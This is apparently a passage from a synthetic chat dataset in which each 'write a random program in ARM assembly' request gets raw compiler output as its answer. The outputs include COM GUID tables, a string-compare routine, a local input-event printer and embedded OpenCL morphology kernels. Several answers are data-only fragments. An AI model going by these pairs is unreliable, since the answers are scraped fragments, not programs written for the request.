.type __PRETTY_FUNCTION__.0, %object
.size __PRETTY_FUNCTION__.0, 21
__PRETTY_FUNCTION__.0:
.string "verify_observability"
.align 3
.LC22:
.word 8388608
.word 1104150400
.align 3
.LC23:
.word -1574947053
.word 1075974094
.align 3
.LC24:
.word -1574947053
.word 1074925518
.align 3
.LC29:
.word 1202590843
.word 1065646817
.align 3
.LC42:
.word -1998362383
.word 1055193269
.align 3
.LC64:
.word 1413754136
.word 1074340347
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global IID_IQueryParser
.section .rodata
.align 3
.type IID_IQueryParser, %object
.size IID_IQueryParser, 24
IID_IQueryParser:
.xword 784199271
.hword 13573
.hword 17400
.ascii "\231F\352D\253\310\345\260"
.zero 4
.global IID_IConditionFactory
.align 3
.type IID_IConditionFactory, %object
.size IID_IConditionFactory, 24
IID_IConditionFactory:
.xword 2783961203
.hword -20113
.hword 18255
.ascii "\237>\237\213Iz>\b"
.zero 4
.global IID_IQuerySolution
.align 3
.type IID_IQuerySolution, %object
.size IID_IQuerySolution, 24
IID_IQuerySolution:
.xword 3605775979
.hword -30431
.hword 16787
.ascii "\257\335\241x\237\267\377W"
.zero 4
.global IID_IConditionFactory2
.align 3
.type IID_IConditionFactory2, %object
.size IID_IConditionFactory2, 24
IID_IConditionFactory2:
.xword 1909596897
.hword 17199
.hword 17054
.ascii "\214\023\266\332\375\345\007z"
.zero 4
.global IID_IConditionGenerator
.align 3
.type IID_IConditionGenerator, %object
.size IID_IConditionGenerator, 24
IID_IConditionGenerator:
.xword 2463288408
.hword 17286
.hword 17827
.ascii "\271\214~\f\346JA\027"
.zero 4
.global IID_IInterval
.align 3
.type IID_IInterval, %object
.size IID_IInterval, 24
IID_IInterval:
.xword 1810933524
.hword 15384
.hword 17163
.ascii "\213]\203\261\3024\323\333"
.zero 4
.global IID_IMetaData
.align 3
.type IID_IMetaData, %object
.size IID_IMetaData, 24
IID_IMetaData:
.xword 2013332144
.hword -15301
.hword 18550
.ascii "\274{^\233\245\310\207\224"
.zero 4
.global IID_IEntity
.align 3
.type IID_IEntity, %object
.size IID_IEntity, 24
IID_IEntity:
.xword 606488721
.hword -6133
.hword 20435
.ascii "\267\316O\362\372\350\223\037"
.zero 4
.global IID_IRelationship
.align 3
.type IID_IRelationship, %object
.size IID_IRelationship, 24
IID_IRelationship:
.xword 661202955
.hword 20744
.hword 18828
.ascii "\234\177\245\0229\2661G"
.zero 4
.global IID_INamedEntity
.align 3
.type IID_INamedEntity, %object
.size IID_INamedEntity, 24
IID_INamedEntity:
.xword 2883309745
.hword 32084
.hword 18939
.string "\253\\\277\364\023"
.ascii "\004\315"
.zero 4
.global IID_ISchemaProvider
.align 3
.type IID_ISchemaProvider, %object
.size IID_ISchemaProvider, 24
IID_ISchemaProvider:
.xword 2365103051
.hword 14668
.hword 18866
.ascii "\256(\245\235\324\355\177h"
.zero 4
.global IID_ITokenCollection
.align 3
.type IID_ITokenCollection, %object
.size IID_ITokenCollection, 24
IID_ITokenCollection:
.xword 584627442
.hword -2697
.hword 19163
.ascii "\2435\302\256\210Ao\253"
.zero 4
.global IID_INamedEntityCollector
.align 3
.type IID_INamedEntityCollector, %object
.size IID_INamedEntityCollector, 24
IID_INamedEntityCollector:
.xword 2938388726
.hword -29956
.hword 18384
.ascii "\232\1779j\n\317\264="
.zero 4
.global IID_ISchemaLocalizerSupport
.align 3
.type IID_ISchemaLocalizerSupport, %object
.size IID_ISchemaLocalizerSupport, 24
IID_ISchemaLocalizerSupport:
.xword 3393182882
.hword -16450
.hword 20205
.ascii "\220\327\f\256\360\241\275\241"
.zero 4
.global IID_IQueryParserManager
.align 3
.type IID_IQueryParserManager, %object
.size IID_IQueryParserManager, 24
IID_IQueryParserManager:
.xword 2826560452
.hword -20617
.hword 17659
.ascii "\2177\353\321H|\371 "
.zero 4
.global LIBID_StructuredQuery1
.align 3
.type LIBID_StructuredQuery1, %object
.size LIBID_StructuredQuery1, 24
LIBID_StructuredQuery1:
.xword 324205159
.hword 8226
.hword 16863
.ascii "\235o\224:^\351|\237"
.zero 4
.global CLSID_QueryParser
.align 3
.type CLSID_QueryParser, %object
.size CLSID_QueryParser, 24
CLSID_QueryParser:
.xword 3073347544
.hword 4011
.hword 19929
.ascii "\275\277$Zl\341H["
.zero 4
.global CLSID_NegationCondition
.align 3
.type CLSID_NegationCondition, %object
.size CLSID_NegationCondition, 24
CLSID_NegationCondition:
.xword 2380908364
.hword 24666
.hword 19149
.ascii "\276\343+\"*\242\322="
.zero 4
.global CLSID_CompoundCondition
.align 3
.type CLSID_CompoundCondition, %object
.size CLSID_CompoundCondition, 24
CLSID_CompoundCondition:
.xword 292523283
.hword 4126
.hword 20389
.ascii "\204\324\377\202y8\0315"
.zero 4
.global CLSID_LeafCondition
.align 3
.type CLSID_LeafCondition, %object
.size CLSID_LeafCondition, 24
CLSID_LeafCondition:
.xword 1391549577
.hword 23063
.hword 18657
.ascii "\273\315F\243\370\234|\302"
.zero 4
.global CLSID_ConditionFactory
.align 3
.type CLSID_ConditionFactory, %object
.size CLSID_ConditionFactory, 24
CLSID_ConditionFactory:
.xword 3762193840
.hword 31715
.hword 16384
.ascii "\272\230l\023\336\237\244\206"
.zero 4
.global CLSID_Interval
.align 3
.type CLSID_Interval, %object
.size CLSID_Interval, 24
CLSID_Interval:
.xword 3646363423
.hword 19449
.hword 19938
.ascii "\274\325\307\n|\245X6"
.zero 4
.global CLSID_QueryParserManager
.align 3
.type CLSID_QueryParserManager, %object
.size CLSID_QueryParserManager, 24
CLSID_QueryParserManager:
.xword 1351136154
.hword 10676
.hword 19869
.ascii "\202EN\342\211\"/f"
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global ft_strequ
.type ft_strequ, %function
ft_strequ:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
cmp x0, 0
bne .L2
ldr x0, [sp]
cmp x0, 0
bne .L2
mov w0, 1
b .L3
.L2:
ldr x0, [sp, 8]
cmp x0, 0
bne .L4
ldr x0, [sp]
cmp x0, 0
bne .L5
.L4:
ldr x0, [sp]
cmp x0, 0
bne .L7
ldr x0, [sp, 8]
cmp x0, 0
beq .L7
.L5:
mov w0, 0
b .L3
.L9:
ldr x0, [sp, 8]
add x0, x0, 1
str x0, [sp, 8]
ldr x0, [sp]
add x0, x0, 1
str x0, [sp]
.L7:
ldr x0, [sp, 8]
ldrb w0, [x0]
cmp w0, 0
beq .L8
ldr x0, [sp, 8]
ldrb w1, [x0]
ldr x0, [sp]
ldrb w0, [x0]
cmp w1, w0
bne .L8
ldr x0, [sp]
ldrb w0, [x0]
cmp w0, 0
bne .L9
.L8:
ldr x0, [sp]
ldrb w0, [x0]
cmp w0, 0
bne .L10
ldr x0, [sp, 8]
ldrb w0, [x0]
cmp w0, 0
bne .L10
mov w0, 1
b .L3
.L10:
mov w0, 0
.L3:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size ft_strequ, .-ft_strequ
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global f
.type f, %function
f:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str q0, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
ldr q0, [sp, 16]
str q0, [sp, 32]
ldr w0, [sp, 36]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size f, .-f
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global INThandler
.type INThandler, %function
INThandler:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w0, 0
bl exit
.cfi_endproc
.LFE6:
.size INThandler, .-INThandler
.section .rodata
.align 3
.LC1:
.string "Key: %i State: %i\n"
.align 3
.LC2:
.string "%ld,%ld %s %s %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
add x2, sp, 48
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldrh w0, [x3, 16]
strh w0, [x2, 16]
add x0, sp, 48
mov w1, 0
bl open
str w0, [sp, 20]
adrp x0, INThandler
add x1, x0, :lo12:INThandler
mov w0, 2
bl signal
.L4:
add x0, sp, 24
mov x2, 24
mov x1, x0
ldr w0, [sp, 20]
bl read
ldrh w0, [sp, 40]
cmp w0, 1
bne .L4
ldr w0, [sp, 44]
cmp w0, 1
bne .L4
ldrh w0, [sp, 42]
mov w1, w0
ldr w0, [sp, 44]
mov w2, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr x0, [sp, 24]
ldr x1, [sp, 32]
ldrh w2, [sp, 40]
mov w3, w2
ldrh w2, [sp, 42]
mov w4, w2
ldr w2, [sp, 44]
mov w5, w2
mov x2, x1
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
b .L4
.cfi_endproc
.LFE7:
.size main, .-main
.section .rodata
.align 3
.LC0:
.string "/dev/input/event0"
.text
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global MAX_SPEED
.section .rodata
.align 2
.type MAX_SPEED, %object
.size MAX_SPEED, 4
MAX_SPEED:
.word 130
.global MAX_ANGLE
.align 2
.type MAX_ANGLE, %object
.size MAX_ANGLE, 4
MAX_ANGLE:
.word 270
.global DIST_BETWEEN_TWO_PULSES
.align 3
.type DIST_BETWEEN_TWO_PULSES, %object
.size DIST_BETWEEN_TWO_PULSES, 8
DIST_BETWEEN_TWO_PULSES:
.word 891978808
.word 1060479099
.global DIST_INCR
.align 3
.type DIST_INCR, %object
.size DIST_INCR, 8
DIST_INCR:
.word 1202590843
.word 1065646817
.global NUM_PULSES_FOR_SPEED
.align 2
.type NUM_PULSES_FOR_SPEED, %object
.size NUM_PULSES_FOR_SPEED, 4
NUM_PULSES_FOR_SPEED:
.word 2
.global NUM_PULSES_FOR_DIST_INCR
.align 2
.type NUM_PULSES_FOR_DIST_INCR, %object
.size NUM_PULSES_FOR_DIST_INCR, 4
NUM_PULSES_FOR_DIST_INCR:
.word 61
.global SLOW_CLOCK_PERIOD0
.align 2
.type SLOW_CLOCK_PERIOD0, %object
.size SLOW_CLOCK_PERIOD0, 4
SLOW_CLOCK_PERIOD0:
.word 10000
.global FAST_CLOCK_PERIOD1
.align 2
.type FAST_CLOCK_PERIOD1, %object
.size FAST_CLOCK_PERIOD1, 4
FAST_CLOCK_PERIOD1:
.word 50
.global ONE_HOUR
.align 2
.type ONE_HOUR, %object
.size ONE_HOUR, 4
ONE_HOUR:
.word 36000000
.global PERIODS_PER_HOUR
.align 2
.type PERIODS_PER_HOUR, %object
.size PERIODS_PER_HOUR, 4
PERIODS_PER_HOUR:
.word 720000
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global kernel_src
.section .rodata
.align 3
.LC0:
.ascii "\n#ifdef KHR_DP_EXTENSION\n \n#pragma OPENCL EXTENSION cl_kh"
.ascii "r_fp64 : enable\n \n#elif AMD_DP_EXTENSION\n \n#pragma OPENC"
.ascii "L EXTENSION cl_amd_fp64 : enable\n \n#else\n \n#endif\n __ke"
.ascii "rnel void composeRGBPixel(__global uint *tiffdata, int w, in"
.ascii "t h,int wpl, __global uint *output) { int i = get_global_id("
.ascii "1); int j = get_global_id(0); int tiffword,rval,gval,bval; i"
.ascii "f ((i >= h) || (j >= w)) return; tiffword = tiffdata[i * w +"
.ascii " j]; rval = ((tiffword) & 0xff); gval = (((tiffword) >> 8) &"
.ascii " 0xff); bval = (((tiffword) >> 16) & 0xff); output[i*wpl+j] "
.ascii "= (rval << (8 * (sizeof(uint) - 1 - 0))) | (gval << (8 * (si"
.ascii "zeof(uint) - 1 - 1))) | (bval << (8 * (sizeof(uint) - 1 - 2)"
.ascii ")); }\n\n__kernel void pixSubtract_inplace(__global int *dwo"
.ascii "rd, __global int *sword, const int wpl, const int h) { const"
.ascii " unsigned int row = get_global_id(1); const unsigned int col"
.ascii " = get_global_id(0); const unsigned int pos = row * wpl + co"
.ascii "l; if (row >= h || col >= wpl) return; *(dword + pos) &= ~(*"
.ascii "(sword + pos)); }\n\n\n__kernel void pixSubtract(__global in"
.ascii "t *dword, __global int *sword, const int wpl, const int h, _"
.ascii "_global int *outword) { const unsigned int row = get_global_"
.ascii "id(1); const unsigned int col = get_global_id(0); const unsi"
.ascii "gned int pos = row * wpl + col; if (row >= h || col >= wpl) "
.ascii "return; *(outword + pos) = *(dword + pos) & ~(*(sword + pos)"
.ascii "); }\n\n\n__kernel void morphoDilateHor_5x5(__global int *sw"
.ascii "ord,__global int *dword, const int wpl, const int h) { const"
.ascii " unsigned int pos = get_global_id(0); unsigned int prevword,"
.ascii " nextword, currword,tempword; unsigned int destword; const i"
.ascii "nt col = pos % wpl; if (pos >= (wpl * h)) return; currword ="
.ascii " *(sword + pos); destword = currword; if(col==0) prevword=0;"
.ascii " else prevword = *(sword + pos - 1); if(col==(wpl - 1)) next"
.ascii "word=0; else nextword = *(sword + pos + 1); tempword = (prev"
.ascii "word << (31)) | ((currword >> 1)); destword |= tempword; tem"
.ascii "pword = (currword << 1) | (nextword >> (31)); destword |= te"
.ascii "mpword; tempword = (prevword << (30)) | ((currword >> 2)); d"
.ascii "estword |= tempword; tempword = (currwor"
.ascii "d << 2) | (nextword >> (30)); destword |= tempword; *(dword "
.ascii "+ pos) = destword; }\n\n\n__kernel void morphoDilateVer_5x5("
.ascii "__global int *sword,__global int *dword, const int wpl, cons"
.ascii "t int h) { const int col = get_global_id(0); const int row ="
.ascii " get_global_id(1); const unsigned int pos = row * wpl + col;"
.ascii " unsigned int tempword; unsigned int destword; int i; if (ro"
.ascii "w >= h || col >= wpl) return; destword = *(sword + pos); i ="
.ascii " (row - 2) < 0 ? row : (row - 2); tempword = *(sword + i*wpl"
.ascii " + col); destword |= tempword; i = (row - 1) < 0 ? row : (ro"
.ascii "w - 1); tempword = *(sword + i*wpl + col); destword |= tempw"
.ascii "ord; i = (row >= (h - 1)) ? row : (row + 1); tempword = *(sw"
.ascii "ord + i*wpl + col); destword |= tempword; i = (row >= (h - 2"
.ascii ")) ? row : (row + 2); tempword = *(sword + i*wpl + col); des"
.ascii "tword |= tempword; *(dword + pos) = destword; }\n\n\n__kerne"
.ascii "l void morphoDilateHor(__global int *sword,__global int *dwo"
.ascii "rd,const int xp, const int xn, const int wpl, const int h) {"
.ascii " const int col = get_global_id(0); const int row = get_globa"
.ascii "l_id(1); const unsigned int pos = row * wpl + col; unsigned "
.ascii "int parbitsxp, parbitsxn, nwords; unsigned int destword, tem"
.ascii "pword, lastword, currword; unsigned int lnextword, lprevword"
.ascii ", rnextword, rprevword, firstword, secondword; int i, j, sit"
.ascii "er, eiter; if (pos >= (wpl*h) || (xn < 1 && xp < 1)) return;"
.ascii " currword = *(sword + pos); destword = currword; parbitsxp ="
.ascii " xp & 31; parbitsxn = xn & 31; nwords = xp >> 5; if (parbits"
.ascii "xp > 0) nwords += 1; else parbitsxp = 31; siter = (col - nwo"
.ascii "rds); eiter = (col + nwords); if (col==0) firstword = 0x0; e"
.ascii "lse firstword = *(sword + pos - 1); if (col == (wpl - 1)) se"
.ascii "condword = 0x0; else secondword = *(sword + pos + 1); for (i"
.ascii " = 1; i <= parbitsxp; i++) { tempword = ((i == parbitsxp) &&"
.ascii " (parbitsxp != parbitsxn)) ? 0x0 : (firstword << (32-i)) | ("
.ascii "(currword >> i)); destword |= tempword; tempword = (currword"
.ascii " << i) | (secondword >> (32 - i)); destword |= tempword; } i"
.ascii "f (nwords == 1) { if (xn == 32) { destword |= firstword; } i"
.ascii "f (xp == 32) { destword |="
.ascii " secondword; } *(dword + pos) = destword; return; } if (site"
.ascii "r < 0) firstword = 0x0; else firstword = *(sword + row*wpl +"
.ascii " siter); if (eiter >= wpl) lastword = 0x0; else lastword = *"
.ascii "(sword + row*wpl + eiter); for ( i = 1; i < nwords; i++) { i"
.ascii "f ((siter + i) < 0) secondword = 0x0; else secondword = *(sw"
.ascii "ord + row*wpl + siter + i); lprevword = firstword << (32 - p"
.ascii "arbitsxn) | secondword >> parbitsxn; firstword = secondword;"
.ascii " if ((siter + i + 1) < 0) secondword = 0x0; else secondword "
.ascii "= *(sword + row*wpl + siter + i + 1); lnextword = firstword "
.ascii "<< (32 - parbitsxn) | secondword >> parbitsxn; if ((eiter - "
.ascii "i) >= wpl) firstword = 0x0; else firstword = *(sword + row*w"
.ascii "pl + eiter - i); rnextword = firstword << parbitsxp | lastwo"
.ascii "rd >> (32 - parbitsxp); lastword = firstword; if ((eiter - i"
.ascii " - 1) >= wpl) firstword = 0x0; else firstword = *(sword + ro"
.ascii "w*wpl + eiter - i - 1); rprevword = firstword << parbitsxp |"
.ascii " lastword >> (32 - parbitsxp); for (j = 1; j < 32; j++) { te"
.ascii "mpword = (lprevword << j) | (lnextword >> (32 - j)); destwor"
.ascii "d |= tempword; tempword = (rprevword << j) | (rnextword >> ("
.ascii "32 - j)); destword |= tempword; } destword |= lprevword; des"
.ascii "tword |= lnextword; destword |= rprevword; destword |= rnext"
.ascii "word; lastword = firstword; firstword = secondword; } *(dwor"
.ascii "d + pos) = destword; }\n\n\n__kernel void morphoDilateHor_32"
.ascii "word(__global int *sword,__global int *dword, const int half"
.ascii "width, const int wpl, const int h, const char isEven) { cons"
.ascii "t int col = get_global_id(0); const int row = get_global_id("
.ascii "1); const unsigned int pos = row * wpl + col; unsigned int p"
.ascii "revword, nextword, currword,tempword; unsigned int destword;"
.ascii " int i; if (pos >= (wpl * h)) return; currword = *(sword + p"
.ascii "os); destword = currword; if(col==0) prevword=0; else prevwo"
.ascii "rd = *(sword + pos - 1); if(col==(wpl - 1)) nextword=0; else"
.ascii " nextword = *(sword + pos + 1); for (i = 1; i <= halfwidth; "
.ascii "i++) { if (i == halfwidth && isEven) { tempword = 0x0; } els"
.ascii "e { tempword = (prevword << (32-i)) | ((currword >> i)); } d"
.ascii "estword |= tempword; te"
.ascii "mpword = (currword << i) | (nextword >> (32 - i)); destword "
.ascii "|= tempword; } *(dword + pos) = destword; }\n\n\n__kernel vo"
.ascii "id morphoDilateVer(__global int *sword,__global int *dword, "
.ascii "const int yp, const int wpl, const int h, const int yn) { co"
.ascii "nst int col = get_global_id(0); const int row = get_global_i"
.ascii "d(1); const unsigned int pos = row * wpl + col; unsigned int"
.ascii " tempword; unsigned int destword; int i, siter, eiter; if (r"
.ascii "ow >= h || col >= wpl) return; destword = *(sword + pos); si"
.ascii "ter = (row - yn) < 0 ? 0 : (row - yn); eiter = (row >= (h - "
.ascii "yp)) ? (h - 1) : (row + yp); for (i = siter; i <= eiter; i++"
.ascii ") { tempword = *(sword + i*wpl + col); destword |= tempword;"
.ascii " } *(dword + pos) = destword; }\n\n\n__kernel void morphoEro"
.ascii "deHor_5x5(__global int *sword,__global int *dword, const int"
.ascii " wpl, const int h) { const unsigned int pos = get_global_id("
.ascii "0); unsigned int prevword, nextword, currword,tempword; unsi"
.ascii "gned int destword; const int col = pos % wpl; if (pos >= (wp"
.ascii "l * h)) return; currword = *(sword + pos); destword = currwo"
.ascii "rd; if(col==0) prevword=0xffffffff; else prevword = *(sword "
.ascii "+ pos - 1); if(col==(wpl - 1)) nextword=0xffffffff; else nex"
.ascii "tword = *(sword + pos + 1); tempword = (prevword << (31)) | "
.ascii "((currword >> 1)); destword &= tempword; tempword = (currwor"
.ascii "d << 1) | (nextword >> (31)); destword &= tempword; tempword"
.ascii " = (prevword << (30)) | ((currword >> 2)); destword &= tempw"
.ascii "ord; tempword = (currword << 2) | (nextword >> (30)); destwo"
.ascii "rd &= tempword; *(dword + pos) = destword; }\n\n\n__kernel v"
.ascii "oid morphoErodeVer_5x5(__global int *sword,__global int *dwo"
.ascii "rd, const int wpl, const int h, const int fwmask, const int "
.ascii "lwmask) { const int col = get_global_id(0); const int row = "
.ascii "get_global_id(1); const unsigned int pos = row * wpl + col; "
.ascii "unsigned int tempword; unsigned int destword; int i; if (row"
.ascii " >= h || col >= wpl) return; destword = *(sword + pos); if ("
.ascii "row < 2 || row >= (h - 2)) { destword = 0x0; } else { i = (r"
.ascii "ow - 2); tempword = *(sword + i*wpl + col); destword &= temp"
.ascii "word; i = (row - 1); tempword"
.ascii " = *(sword + i*wpl + col); destword &= tempword; i = (row + "
.ascii "1); tempword = *(sword + i*wpl + col); destword &= tempword;"
.ascii " i = (row + 2); tempword = *(sword + i*wpl + col); destword "
.ascii "&= tempword; if (col == 0) { destword &= fwmask; } if (col ="
.ascii "= (wpl - 1)) { destword &= lwmask; } } *(dword + pos) = dest"
.ascii "word; }\n\n\n__kernel void morphoErodeHor(__global int *swor"
.ascii "d,__global int *dword, const int xp, const int xn, const int"
.ascii " wpl, const int h, const char isAsymmetric, const int rwmask"
.ascii ", const int lwmask) { const int col = get_global_id(0); cons"
.ascii "t int row = get_global_id(1); const unsigned int pos = row *"
.ascii " wpl + col; unsigned int parbitsxp, parbitsxn, nwords; unsig"
.ascii "ned int destword, tempword, lastword, currword; unsigned int"
.ascii " lnextword, lprevword, rnextword, rprevword, firstword, seco"
.ascii "ndword; int i, j, siter, eiter; if (pos >= (wpl*h) || (xn < "
.ascii "1 && xp < 1)) return; currword = *(sword + pos); destword = "
.ascii "currword; parbitsxp = xp & 31; parbitsxn = xn & 31; nwords ="
.ascii " xp >> 5; if (parbitsxp > 0) nwords += 1; else parbitsxp = 3"
.ascii "1; siter = (col - nwords); eiter = (col + nwords); if (col=="
.ascii "0) firstword = 0xffffffff; else firstword = *(sword + pos - "
.ascii "1); if (col == (wpl - 1)) secondword = 0xffffffff; else seco"
.ascii "ndword = *(sword + pos + 1); for (i = 1; i <= parbitsxp; i++"
.ascii ") { tempword = (firstword << (32-i)) | ((currword >> i)); de"
.ascii "stword &= tempword; tempword = ((i == parbitsxp) && (parbits"
.ascii "xp != parbitsxn)) ? 0xffffffff : (currword << i) | (secondwo"
.ascii "rd >> (32 - i)); destword &= tempword; } if (nwords == 1) { "
.ascii "if (xp == 32) { destword &= firstword; } if (xn == 32) { des"
.ascii "tword &= secondword; } if (isAsymmetric) { if (col == 0) des"
.ascii "tword &= rwmask; if (col == (wpl - 1)) destword &= lwmask; }"
.ascii " *(dword + pos) = destword; return; } if (siter < 0) firstwo"
.ascii "rd = 0xffffffff; else firstword = *(sword + row*wpl + siter)"
.ascii "; if (eiter >= wpl) lastword = 0xffffffff; else lastword = *"
.ascii "(sword + row*wpl + eiter); for ( i = 1; i < nwords; i++) { i"
.ascii "f ((siter + i) < 0) secondword = 0xffffffff; else secondword"
.ascii " = *(sword + row*wpl + "
.ascii "siter + i); lprevword = firstword << (32 - parbitsxp) | seco"
.ascii "ndword >> (parbitsxp); firstword = secondword; if ((siter + "
.ascii "i + 1) < 0) secondword = 0xffffffff; else secondword = *(swo"
.ascii "rd + row*wpl + siter + i + 1); lnextword = firstword << (32 "
.ascii "- parbitsxp) | secondword >> (parbitsxp); if ((eiter - i) >="
.ascii " wpl) firstword = 0xffffffff; else firstword = *(sword + row"
.ascii "*wpl + eiter - i); rnextword = firstword << parbitsxn | last"
.ascii "word >> (32 - parbitsxn); lastword = firstword; if ((eiter -"
.ascii " i - 1) >= wpl) firstword = 0xffffffff; else firstword = *(s"
.ascii "word + row*wpl + eiter - i - 1); rprevword = firstword << pa"
.ascii "rbitsxn | lastword >> (32 - parbitsxn); for (j = 0; j < 32; "
.ascii "j++) { tempword = (lprevword << j) | (lnextword >> (32 - j))"
.ascii "; destword &= tempword; tempword = (rprevword << j) | (rnext"
.ascii "word >> (32 - j)); destword &= tempword; } destword &= lprev"
.ascii "word; destword &= lnextword; destword &= rprevword; destword"
.ascii " &= rnextword; lastword = firstword; firstword = secondword;"
.ascii " } if (isAsymmetric) { if (col < (nwords - 1)) destword = 0x"
.ascii "0; else if (col == (nwords - 1)) destword &= rwmask; else if"
.ascii " (col > (wpl - nwords)) destword = 0x0; else if (col == (wpl"
.ascii " - nwords)) destword &= lwmask; } *(dword + pos) = destword;"
.ascii " }\n\n\n__kernel void morphoErodeHor_32word(__global int *sw"
.ascii "ord,__global int *dword, const int halfwidth, const int wpl,"
.ascii " const int h, const char clearBoundPixH, const int rwmask, c"
.ascii "onst int lwmask, const char isEven) { const int col = get_gl"
.ascii "obal_id(0); const int row = get_global_id(1); const unsigned"
.ascii " int pos = row * wpl + col; unsigned int prevword, nextword,"
.ascii " currword,tempword, destword; int i; if (pos >= (wpl * h)) r"
.ascii "eturn; currword = *(sword + pos); destword = currword; if(co"
.ascii "l==0) prevword=0xffffffff; else prevword = *(sword + pos - 1"
.ascii "); if(col==(wpl - 1)) nextword=0xffffffff; else nextword = *"
.ascii "(sword + pos + 1); for (i = 1; i <= halfwidth; i++) { tempwo"
.ascii "rd = (prevword << (32-i)) | ((currword >> i)); destword &= t"
.ascii "empword; if (i == halfwidth && isEven) { tempword = 0xffffff"
.ascii "ff; } else { tempword ="
.ascii " (currword << i) | (nextword >> (32 - i)); } destword &= tem"
.ascii "pword; } if (clearBoundPixH) { if (col == 0) { destword &= r"
.ascii "wmask; } else if (col == (wpl - 1)) { destword &= lwmask; } "
.ascii "} *(dword + pos) = destword; }\n\n\n__kernel void morphoErod"
.ascii "eVer(__global int *sword,__global int *dword, const int yp, "
.ascii "const int wpl, const int h, const char clearBoundPixV, const"
.ascii " int yn) { const int col = get_global_id(0); const int row ="
.ascii " get_global_id(1); const unsigned int pos = row * wpl + col;"
.ascii " unsigned int tempword, destword; int i, siter, eiter; if (r"
.ascii "ow >= h || col >= wpl) return; destword = *(sword + pos); si"
.ascii "ter = (row - yp) < 0 ? 0 : (row - yp); eiter = (row >= (h - "
.ascii "yn)) ? (h - 1) : (row + yn); for (i = siter; i <= eiter; i++"
.ascii ") { tempword = *(sword + i*wpl + col); destword &= tempword;"
.ascii " } if (clearBoundPixV && ((row < yp) || ((h - row) <= yn))) "
.ascii "{ destword = 0x0; } *(dword + pos) = destword; }\n\n\n#defin"
.ascii "e HIST_REDUNDANCY 256\n \n#define GROUP_SIZE 256\n \n#define"
.ascii " HIST_SIZE 256\n \n#define NUM_CHANNELS 4\n \n#define HR_UNR"
.ascii "OLL_SIZE 8 \n \n#define HR_UNROLL_TYPE uchar8 \n __attribute"
.ascii "__((reqd_work_group_size(256, 1, 1))) __kernel void kernel_H"
.ascii "istogramRectAllChannels( __global const uchar8 *data, uint n"
.ascii "umPixels, __global uint *histBuffer) { uchar8 pixels; int th"
.ascii "readOffset = get_global_id(0)%HIST_REDUNDANCY; for ( uint pc"
.ascii " = get_global_id(0); pc < numPixels*NUM_CHANNELS/HR_UNROLL_S"
.ascii "IZE; pc += get_global_size(0) ) { pixels = data[pc]; atomic_"
.ascii "inc( &histBuffer[ 0*HIST_SIZE*HIST_REDUNDANCY + pixels.s0*HI"
.ascii "ST_REDUNDANCY + threadOffset ]); atomic_inc( &histBuffer[ 0*"
.ascii "HIST_SIZE*HIST_REDUNDANCY + pixels.s4*HIST_REDUNDANCY + thre"
.ascii "adOffset ]); atomic_inc( &histBuffer[ 1*HIST_SIZE*HIST_REDUN"
.ascii "DANCY + pixels.s1*HIST_REDUNDANCY + threadOffset ]); atomic_"
.ascii "inc( &histBuffer[ 1*HIST_SIZE*HIST_REDUNDANCY + pixels.s5*HI"
.ascii "ST_REDUNDANCY + threadOffset ]); atomic_inc( &histBuffer[ 2*"
.ascii "HIST_SIZE*HIST_REDUNDANCY + pixels.s2*HIST_REDUNDANCY + thre"
.ascii "adOffset ]); atomic_inc( &histBuffer[ 2*HIST_SIZE*HIST_REDUN"
.ascii "DANCY + pixels.s6*HIST_REDUNDANCY + t"
.ascii "hreadOffset ]); atomic_inc( &histBuffer[ 3*HIST_SIZE*HIST_RE"
.ascii "DUNDANCY + pixels.s3*HIST_REDUNDANCY + threadOffset ]); atom"
.ascii "ic_inc( &histBuffer[ 3*HIST_SIZE*HIST_REDUNDANCY + pixels.s7"
.ascii "*HIST_REDUNDANCY + threadOffset ]); } }\n__attribute__((reqd"
.ascii "_work_group_size(256, 1, 1))) __kernel void kernel_Histogram"
.ascii "RectOneChannel( __global const uchar8 *data, uint numPixels,"
.ascii " __global uint *histBuffer) { uchar8 pixels; int threadOffse"
.ascii "t = get_global_id(0)%HIST_REDUNDANCY; for ( uint pc = get_gl"
.ascii "obal_id(0); pc < numPixels/HR_UNROLL_SIZE; pc += get_global_"
.ascii "size(0) ) { pixels = data[pc]; atomic_inc( &histBuffer[ pixe"
.ascii "ls.s0*HIST_REDUNDANCY + threadOffset ]); atomic_inc( &histBu"
.ascii "ffer[ pixels.s1*HIST_REDUNDANCY + threadOffset ]); atomic_in"
